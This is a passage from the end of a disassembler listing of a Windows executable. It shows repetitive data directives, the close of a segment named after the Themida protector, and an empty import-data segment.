0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h dd 3505248Fh, 3ABh dup(35052480h), 92052480h, 81h dup(921B3D6Ah) dd 383D16Ah, 44EFD166h, 59h dup(44EF1228h) db 28h, 12h, 0EFh byte_5D4D5B db 44h ; DATA XREF: ___:off_43162Co dd 1C5h dup(44EF1228h), 0CCEF1228h, 756h dup(0CCCCCCCCh) dd 1B8Dh dup(0) Themida_ ends ; Section 5. (virtual address 001DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5DE000h dd 80h dup(0) align 1000h _idata2 ends end start